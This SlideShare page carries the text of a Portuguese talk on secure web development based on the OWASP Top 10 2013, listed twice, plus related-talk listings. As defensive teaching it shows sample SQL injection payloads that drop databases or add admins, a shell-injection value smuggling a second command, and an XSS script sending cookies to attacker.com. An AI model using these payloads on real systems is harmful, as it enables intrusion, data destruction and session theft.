SlideShare uma empresa Scribd logo
1 de 32
Baixar para ler offline
iTFLEX Tecnologia http://www.itflex.com.br
Desenvolvimento Seguro de Aplicações WEB
Principais vulnerabilidades e recomendações
(Baseado no OWASP TOP10)
Carlos Diego Russo Medeiros
Diretor Executivo – iTFLEX Tecnologia
cdiego@itflex.com.br / cdiego@gmail.com
iTFLEX Tecnologia http://www.itflex.com.br
Agenda
Apresentação
Pontos para reflexão
OWASP
TOP10
A1-Injeção
A2-Quebra de autenticação / sessão
A3-Cross-Site Scripting (XSS)
A4-Referências inseguras diretas de
objetos
A5-Falhas das configurações de
segurança
A6-Exposição de dados sensíveis
A7-A10 Visão Geral
Recomendações
Perguntas
iTFLEX Tecnologia http://www.itflex.com.br
Apresentação
Fundador e Diretor Executivo da iTFLEX (2004)
15 anos de experiência em linux, segurança e redes
http://br.linkedin.com/in/cadiego
MBA em Gestão Empresarial pela FGV/Sociesc (2005)
Bacharel em Informática pela Univille (2001)
Técnico pela Escola Técnica Tupy (1997)
Certficação ITILv3 Foundation (2012)
Cisco Certified Network Associate (2002)
Módulo Certified Security Officer (2002)
iTFLEX Tecnologia http://www.itflex.com.br
Reflexão
A maioria dos desenvolvedores pensa que suas ferramentas são seguras
A segurança não é apenas responsabilidade de equipe de infra-estrutura
Crescimento do cloud computing x segurança nas aplicações WEB
Você se preocupa com a segurança no desenvolvimento das suas aplicações?
Não confie cegamente na sua linguagem ou framework
iTFLEX Tecnologia http://www.itflex.com.br
OWASP
Open Web Application Security Project
Projeto aberto dedicado a capacitar as organizações a desenvolver e manter
aplicações seguras.
Subprojetos, ferramentas, bibliotecas, documentos, padrões, livros, realiza
eventos, grupos locais de discussão (Chapter)
2011 - OWASP AppSEC Latin America
2012 – OWASP Floripa Day
Chapters próximos (Florianópolis, Curitiba...)
iTFLEX Tecnologia http://www.itflex.com.br
OWASP
OWASP TOP10
10 principais ameças em aplicações WEB
Atualizado a cada 3 anos
Consenso entre os profissionais
Excelente para aprendizado
http://goo.gl/ZKj23a
iTFLEX Tecnologia http://www.itflex.com.br
OWASP TOP10 2013
A1-Injeção
A2-Quebra de autenticação / Sessão
A3-Cross-Site Scripting (XSS)
A4-Referências inseguras diretas de objetos
A5-Falhas das configurações de segurança
A6-Exposição de dados sensíveis
A7-Falta de controle do nível de acesso
A8-Cross-Site Request Forgery (CSRF) - Requisição forjada Cross-Site
A9-Uso de componentes com vulnerabilidade conhecidas
A10-Redirecionamentos e encaminhamentos não validados
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
Introdução ao A1-Injeção
Envio (injeção) de dados (entradas) não validados adequadamente
Strings interpretadas como comandos no backend
Injeção de SQL é a mais comum
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
E se no no lugar do ' or '1'='1 ?
● minhasenha'; DROP ALL DATABASES; --
● minhasenha'; INSERT INTO admins VALUES
('meu_admin','minha_senha'); --
● minhasenha'; UPDATE usuarios SET senha='123456' WHERE
user='admin; --
E se a aplicação web estiver conectando no banco com as credenciais:
● root / sysdba ?
● Execução de comandos no sistema operacional
● Acesso a outros bancos dados
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
Entradas explícitas
(Ex. forms, inputs)
X
Entradas implícitas
(Hidden, Cookies, Parâmetros da URL, etc..)
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
Ferramenta
SQLMAP – Automatic SQL injection and database takeover tool
Realiza as injeções (Já com payloads de consultas)
Descobre o sistema de banco de dados
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase and SAP MaxDB database management systems.
Realizar blind injection quando não é retorno (timing)
Permite conexão direta ao banco de dados
http://sqlmap.org/
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
SQL não é único tipo de injeção
Exemplo de Shell Injection (OS Commands)
Comandos do sistema operacional chamados pela aplicação
Digite o host para obter IP: _______________
$ip = System(“/bin/host $hostname”); echo “Endereço IP: $ip”;
Digite o host para obter IP: itflex.com.br%20%3B%20/bin/ls%20-la
System(“/bin/host itflex.com.br ; /bin/ls -la”); echo ?????
iTFLEX Tecnologia http://www.itflex.com.br
A2-Quebra de autenticação / Sessão
HTTP por sua origem é stateless, criado com foco na web estática ou
não era necessária autenticação ou sessão
Para aplicações web modernas poderem relacionar as transações dos
usuários é necessário o conceito de sessão.
Depende do estratégia usada pelo desenvolvedor
● session_id, cookies, etc..
iTFLEX Tecnologia http://www.itflex.com.br
A2-Quebra de autenticação / Sessão
iTFLEX Tecnologia http://www.itflex.com.br
A2-Quebra de autenticação / Sessão
Possibilidades de exploração
● session_id fixo ou session_id previsível (guestable) -> força bruta
● session_id com tempo de vida muito longo (Pode ser reutilizado)
● reutilização de session_id antigo (Não altera no logon)
● credenciais enviadas por canais inseguros - firesheep (wifi)
Lógica de autenticação falha
● Manipulação de variáveis da requisição
● if ( $logado = '1'); then echo “Usuário logado”; fi;
● http://site.com.br/adm/list_users?logado=1;
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
Introdução ao A3-Cross-Site Scripting (XSS)
Falha no tratamento de entradas ou saídas da aplicação
Permite enviar código malicioso ao browser do usuários
Todo o browser é 'explorável'
Vulnerabilidade é na aplicação, mas a vítima é o usuário
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
<script>document.location='http://www.attacker.com/cgi-bin/get.cgi?
foo='+document.cookie</script>
Persistente
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
Possibilidades de ataque
Roubo de sessão
Fazer um deface no site (alterar, substituir conteúdo)
Inserir código malicioso (vírus)
Redirecionar o usuário para sites maliciosos
Enviar requisições involuntárias (A8-CSRF)
Exemplo do banco (duas senha, token, cartão numérico)
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
Refletido
iTFLEX Tecnologia http://www.itflex.com.br
A4-Referências inseguras diretas de objetos
http://example.com/app/accountinfo=carlos
Referências inseguras a arquivos
http://example.com/view_file.php?arquivo=log.txt
http://example.com/view_file.php?arquivo=config.php
Usuário http://example.com/app/view.php?page=user
Administrador http://example.com/app/view.php?page=admin
(A7-Falta de controle do nível de acesso)
iTFLEX Tecnologia http://www.itflex.com.br
A5-Falhas de Configuração
Exemplos de pontos de falha
Sistema operacional desatualizado, com vulnerabilidades
Servidor de aplicação mal configurado,
configurações default, aplicações de exemplos
Consoles de administração expostos, ou com senha padrão
Configurações expostas (config.php.bkp)
Mensagem de erros não tratadas
Excesso de privilégio para aplicação
iTFLEX Tecnologia http://www.itflex.com.br
A6-Exposição de dados sensíveis
HTTPS (HTTP+SSL) protege confidencialidade da transação do usuário
não protege aplicação, nem dados armazenados
SSL obrigatório x opcional
Criptografia no front-end x backend (simétrico x assimétrico)
Uso de algorítimos de criptografia fracos
Armazenamento desnecessário de dados sensíveis
Auto-preenchimento dos forms com dados sensíveis
iTFLEX Tecnologia http://www.itflex.com.br
OWASP TOP10 2013
A1-Injeção
A2-Quebra de autenticação / Sessão
A3-Cross-Site Scripting (XSS)
A4-Referências inseguras diretas de objetos
A5-Falhas das configurações de segurança
A6-Exposição de dados sensíveis
A7-Falta de controle do nível de acesso
A8-Cross-Site Request Forgery (CSRF): Requisição forjada Cross-Site
A9-Uso de componentes com vulnerabilidade conhecidas
A10-Redirecionamentos e encaminhamentos não validados
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Assuma que você também é responsável
Estude o OWASP TOP10: http://goo.gl/ZKj23a
Faça o tratamento das entradas e da saídas
Sanitize Inputs -> Higienizar entradas
Canonicalize Inputs -> Passar para codificação única
Validação sempre por whitelist
Minimize o privilégios da aplicação (Somente o necessário)
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Assuma que você também é responsável
Estude o OWASP TOP10: http://goo.gl/ZKj23a
Faça o tratamento das entradas e da saídas
Sanitize Inputs -> Higienizar entradas
Canonicalize Inputs -> Passar para codificação única
Validação sempre por whitelist
Minimize o privilégios da aplicação (Somente o necessário)
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Atenção, NÃO FUNCIONA:
Validação de entradas por Java Script
Confiar no método POST no lugar do GET
HTTPs não garante a segurança da aplicação, garante apenas a
confidencialidade do canal do usuário
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Aplicações WEB dependem de uma base segura
SO, Servidor de Aplicação, Bibliotecas
Evite usar comandos do sistema operacional, procure utilizar as
funções ou bibliotecas da linguagem
mv, cp, ls, du, etc...
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Pratique: OWASP Broken Web Applications Project: http://goo.gl/75j5PF
Pesquise sobre os recursos de segurança da sua linguagem
Exemplo: http://www.pythonsecurity.org/
Python x Owasp Top 10: http://goo.gl/xXlZcy
ESAPI: OWASP Enterprise Security API http://goo.gl/6dumHS
Youtube: OWASP Appsec Tutorial Series http://goo.gl/W1GrVJ
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Insira a segurança no ciclo de
desenvolvimento do software
iTFLEX Tecnologia http://www.itflex.com.br
FIM, Perguntas?
Obrigado pela atenção
Carlos Diego Russo Medeiros
cdiego@itflex.com.br / cdiego@gmail.com
http://br.linkedin.com/in/cadiego
(47) 3029-3388
Fonte: http://www.seginfo.com.br
Tradução de: http://xkcd.com/327/

Mais conteúdo relacionado

Mais procurados

Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftRubens Guimarães - MTAC MVP
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Como Fazer Apps Node.Js Seguras
Como Fazer Apps Node.Js SegurasComo Fazer Apps Node.Js Seguras
Como Fazer Apps Node.Js SegurasPaulo Pires
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações WebCassio Ramos
 
Saindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webSaindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webIgor Carneiro
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...Clavis Segurança da Informação
 

Mais procurados (10)

Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Como Fazer Apps Node.Js Seguras
Como Fazer Apps Node.Js SegurasComo Fazer Apps Node.Js Seguras
Como Fazer Apps Node.Js Seguras
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
Saindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webSaindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações web
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Saia do 7x0 com testes de segurança
Saia do 7x0 com testes de segurançaSaia do 7x0 com testes de segurança
Saia do 7x0 com testes de segurança
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 

Destaque

Especificação formal de protocolos de Segurança
Especificação formal de protocolos de SegurançaEspecificação formal de protocolos de Segurança
Especificação formal de protocolos de SegurançaFabian Martins
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPFabiano Pereira
 
Desvendando o desenvolvimento seguro de software
Desvendando o desenvolvimento seguro de softwareDesvendando o desenvolvimento seguro de software
Desvendando o desenvolvimento seguro de softwareAllyson Chiarini
 
Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.Ana Cristine Veneziani
 
Requisitos de Segurança
Requisitos de SegurançaRequisitos de Segurança
Requisitos de SegurançaOWASP Brasília
 

Destaque (6)

Especificação formal de protocolos de Segurança
Especificação formal de protocolos de SegurançaEspecificação formal de protocolos de Segurança
Especificação formal de protocolos de Segurança
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASP
 
Ferranentas OWASP
Ferranentas OWASPFerranentas OWASP
Ferranentas OWASP
 
Desvendando o desenvolvimento seguro de software
Desvendando o desenvolvimento seguro de softwareDesvendando o desenvolvimento seguro de software
Desvendando o desenvolvimento seguro de software
 
Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.Aplicando técnicas de UX na reformulação de produtos.
Aplicando técnicas de UX na reformulação de produtos.
 
Requisitos de Segurança
Requisitos de SegurançaRequisitos de Segurança
Requisitos de Segurança
 

Semelhante a Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguroCharles Fortes
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...Rubens Guimarães - MTAC MVP
 
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Thiago Dieb
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...Thiago Dieb
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
OWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP Brasília
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software SeguroAugusto Lüdtke
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureRubens Guimarães - MTAC MVP
 
Explorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemExplorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemAlcyon Ferreira de Souza Junior, MSc
 

Semelhante a Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29 (20)

Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguro
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
PHP Seguro em 2013
PHP Seguro em 2013PHP Seguro em 2013
PHP Seguro em 2013
 
OWASP - Ferramentas
OWASP - FerramentasOWASP - Ferramentas
OWASP - Ferramentas
 
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Sql injection
Sql injectionSql injection
Sql injection
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
OWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHA
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Defensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon JuniorDefensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon Junior
 
Explorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometemExplorando 5 falhas graves de segurança que os programadores sempre cometem
Explorando 5 falhas graves de segurança que os programadores sempre cometem
 

Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

  • 1. iTFLEX Tecnologia http://www.itflex.com.br Desenvolvimento Seguro de Aplicações WEB Principais vulnerabilidades e recomendações (Baseado no OWASP TOP10) Carlos Diego Russo Medeiros Diretor Executivo – iTFLEX Tecnologia cdiego@itflex.com.br / cdiego@gmail.com
  • 2. iTFLEX Tecnologia http://www.itflex.com.br Agenda Apresentação Pontos para reflexão OWASP TOP10 A1-Injeção A2-Quebra de autenticação / sessão A3-Cross-Site Scripting (XSS) A4-Referências inseguras diretas de objetos A5-Falhas das configurações de segurança A6-Exposição de dados sensíveis A7-A10 Visão Geral Recomendações Perguntas
  • 3. iTFLEX Tecnologia http://www.itflex.com.br Apresentação Fundador e Diretor Executivo da iTFLEX (2004) 15 anos de experiência em linux, segurança e redes http://br.linkedin.com/in/cadiego MBA em Gestão Empresarial pela FGV/Sociesc (2005) Bacharel em Informática pela Univille (2001) Técnico pela Escola Técnica Tupy (1997) Certficação ITILv3 Foundation (2012) Cisco Certified Network Associate (2002) Módulo Certified Security Officer (2002)
  • 4. iTFLEX Tecnologia http://www.itflex.com.br Reflexão A maioria dos desenvolvedores pensa que suas ferramentas são seguras A segurança não é apenas responsabilidade de equipe de infra-estrutura Crescimento do cloud computing x segurança nas aplicações WEB Você se preocupa com a segurança no desenvolvimento das suas aplicações? Não confie cegamente na sua linguagem ou framework
  • 5. iTFLEX Tecnologia http://www.itflex.com.br OWASP Open Web Application Security Project Projeto aberto dedicado a capacitar as organizações a desenvolver e manter aplicações seguras. Subprojetos, ferramentas, bibliotecas, documentos, padrões, livros, realiza eventos, grupos locais de discussão (Chapter) 2011 - OWASP AppSEC Latin America 2012 – OWASP Floripa Day Chapters próximos (Florianópolis, Curitiba...)
  • 6. iTFLEX Tecnologia http://www.itflex.com.br OWASP OWASP TOP10 10 principais ameças em aplicações WEB Atualizado a cada 3 anos Consenso entre os profissionais Excelente para aprendizado http://goo.gl/ZKj23a
  • 7. iTFLEX Tecnologia http://www.itflex.com.br OWASP TOP10 2013 A1-Injeção A2-Quebra de autenticação / Sessão A3-Cross-Site Scripting (XSS) A4-Referências inseguras diretas de objetos A5-Falhas das configurações de segurança A6-Exposição de dados sensíveis A7-Falta de controle do nível de acesso A8-Cross-Site Request Forgery (CSRF) - Requisição forjada Cross-Site A9-Uso de componentes com vulnerabilidade conhecidas A10-Redirecionamentos e encaminhamentos não validados
  • 8. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção Introdução ao A1-Injeção Envio (injeção) de dados (entradas) não validados adequadamente Strings interpretadas como comandos no backend Injeção de SQL é a mais comum
  • 11. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção E se no no lugar do ' or '1'='1 ? ● minhasenha'; DROP ALL DATABASES; -- ● minhasenha'; INSERT INTO admins VALUES ('meu_admin','minha_senha'); -- ● minhasenha'; UPDATE usuarios SET senha='123456' WHERE user='admin; -- E se a aplicação web estiver conectando no banco com as credenciais: ● root / sysdba ? ● Execução de comandos no sistema operacional ● Acesso a outros bancos dados
  • 12. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção Entradas explícitas (Ex. forms, inputs) X Entradas implícitas (Hidden, Cookies, Parâmetros da URL, etc..)
  • 13. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção Ferramenta SQLMAP – Automatic SQL injection and database takeover tool Realiza as injeções (Já com payloads de consultas) Descobre o sistema de banco de dados MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems. Realizar blind injection quando não é retorno (timing) Permite conexão direta ao banco de dados http://sqlmap.org/
  • 14. iTFLEX Tecnologia http://www.itflex.com.br A1-Injeção SQL não é único tipo de injeção Exemplo de Shell Injection (OS Commands) Comandos do sistema operacional chamados pela aplicação Digite o host para obter IP: _______________ $ip = System(“/bin/host $hostname”); echo “Endereço IP: $ip”; Digite o host para obter IP: itflex.com.br%20%3B%20/bin/ls%20-la System(“/bin/host itflex.com.br ; /bin/ls -la”); echo ?????
  • 15. iTFLEX Tecnologia http://www.itflex.com.br A2-Quebra de autenticação / Sessão HTTP por sua origem é stateless, criado com foco na web estática ou não era necessária autenticação ou sessão Para aplicações web modernas poderem relacionar as transações dos usuários é necessário o conceito de sessão. Depende do estratégia usada pelo desenvolvedor ● session_id, cookies, etc..
  • 17. iTFLEX Tecnologia http://www.itflex.com.br A2-Quebra de autenticação / Sessão Possibilidades de exploração ● session_id fixo ou session_id previsível (guestable) -> força bruta ● session_id com tempo de vida muito longo (Pode ser reutilizado) ● reutilização de session_id antigo (Não altera no logon) ● credenciais enviadas por canais inseguros - firesheep (wifi) Lógica de autenticação falha ● Manipulação de variáveis da requisição ● if ( $logado = '1'); then echo “Usuário logado”; fi; ● http://site.com.br/adm/list_users?logado=1;
  • 18. iTFLEX Tecnologia http://www.itflex.com.br A3-Cross-Site Scripting (XSS) Introdução ao A3-Cross-Site Scripting (XSS) Falha no tratamento de entradas ou saídas da aplicação Permite enviar código malicioso ao browser do usuários Todo o browser é 'explorável' Vulnerabilidade é na aplicação, mas a vítima é o usuário
  • 19. iTFLEX Tecnologia http://www.itflex.com.br A3-Cross-Site Scripting (XSS) <script>document.location='http://www.attacker.com/cgi-bin/get.cgi? foo='+document.cookie</script> Persistente
  • 20. iTFLEX Tecnologia http://www.itflex.com.br A3-Cross-Site Scripting (XSS) Possibilidades de ataque Roubo de sessão Fazer um deface no site (alterar, substituir conteúdo) Inserir código malicioso (vírus) Redirecionar o usuário para sites maliciosos Enviar requisições involuntárias (A8-CSRF) Exemplo do banco (duas senha, token, cartão numérico)
  • 22. iTFLEX Tecnologia http://www.itflex.com.br A4-Referências inseguras diretas de objetos http://example.com/app/accountinfo=carlos Referências inseguras a arquivos http://example.com/view_file.php?arquivo=log.txt http://example.com/view_file.php?arquivo=config.php Usuário http://example.com/app/view.php?page=user Administrador http://example.com/app/view.php?page=admin (A7-Falta de controle do nível de acesso)
  • 23. iTFLEX Tecnologia http://www.itflex.com.br A5-Falhas de Configuração Exemplos de pontos de falha Sistema operacional desatualizado, com vulnerabilidades Servidor de aplicação mal configurado, configurações default, aplicações de exemplos Consoles de administração expostos, ou com senha padrão Configurações expostas (config.php.bkp) Mensagem de erros não tratadas Excesso de privilégio para aplicação
  • 24. iTFLEX Tecnologia http://www.itflex.com.br A6-Exposição de dados sensíveis HTTPS (HTTP+SSL) protege confidencialidade da transação do usuário não protege aplicação, nem dados armazenados SSL obrigatório x opcional Criptografia no front-end x backend (simétrico x assimétrico) Uso de algorítimos de criptografia fracos Armazenamento desnecessário de dados sensíveis Auto-preenchimento dos forms com dados sensíveis
  • 25. iTFLEX Tecnologia http://www.itflex.com.br OWASP TOP10 2013 A1-Injeção A2-Quebra de autenticação / Sessão A3-Cross-Site Scripting (XSS) A4-Referências inseguras diretas de objetos A5-Falhas das configurações de segurança A6-Exposição de dados sensíveis A7-Falta de controle do nível de acesso A8-Cross-Site Request Forgery (CSRF): Requisição forjada Cross-Site A9-Uso de componentes com vulnerabilidade conhecidas A10-Redirecionamentos e encaminhamentos não validados
  • 26. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Assuma que você também é responsável Estude o OWASP TOP10: http://goo.gl/ZKj23a Faça o tratamento das entradas e da saídas Sanitize Inputs -> Higienizar entradas Canonicalize Inputs -> Passar para codificação única Validação sempre por whitelist Minimize o privilégios da aplicação (Somente o necessário)
